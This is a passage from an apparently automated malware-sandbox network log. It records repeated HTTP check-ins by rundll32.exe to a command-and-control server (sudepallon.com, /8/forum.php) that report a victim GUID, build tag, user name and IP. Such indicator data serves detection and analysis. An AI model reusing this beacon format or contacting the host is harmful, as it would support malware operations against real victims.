Jul 9, 2021 03:09:01.671566010 CEST	535	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:01.740247011 CEST	536	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 43 58 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cACXZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.22	49381	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:02.022790909 CEST	537	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:02.089610100 CEST	537	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 56 45 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHVESARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.22	49382	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:02.357763052 CEST	538	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:02.423607111 CEST	538	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 5a 41 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNZAMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.22	49383	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:02.709170103 CEST	539	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:02.775859118 CEST	539	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4a 51 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVJQEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.22	49384	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:03.049237967 CEST	540	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:03.115345955 CEST	540	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 51 4a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZQJAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49187	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:49.529649973 CEST	318	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:49.601042986 CEST	319	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 56 45 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVVEEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.22	49385	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:03.393691063 CEST	541	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:03.463315010 CEST	541	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 56 45 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCVEXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.22	49386	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:03.738653898 CEST	542	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:03.806829929 CEST	543	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 56 45 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAVEZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.22	49387	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:04.084841013 CEST	543	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:04.152684927 CEST	544	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 42 59 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNBYMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.22	49388	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:04.442852020 CEST	544	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:04.509927988 CEST	545	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4d 4e 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKMNPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.22	49389	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:04.799295902 CEST	546	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:04.865071058 CEST	546	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 48 53 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMHSNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.22	49390	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:05.146121025 CEST	547	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:05.211993933 CEST	547	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 48 53 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZHSAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.22	49391	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:05.499681950 CEST	548	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:05.568615913 CEST	548	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4d 4e 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZMNAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.22	49392	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:05.846061945 CEST	549	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:05.913686991 CEST	549	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4d 4e 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVMNEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.22	49393	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:06.219909906 CEST	550	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:06.286922932 CEST	550	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 54 47 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCTGXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.22	49394	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:06.560579062 CEST	551	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:06.626918077 CEST	551	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 41 5a 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTAZGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49188	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:49.923046112 CEST	320	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:49.993874073 CEST	320	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4a 51 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMJQNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.22	49395	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:06.911953926 CEST	552	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:06.983490944 CEST	553	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.22	49396	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:07.262245893 CEST	553	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
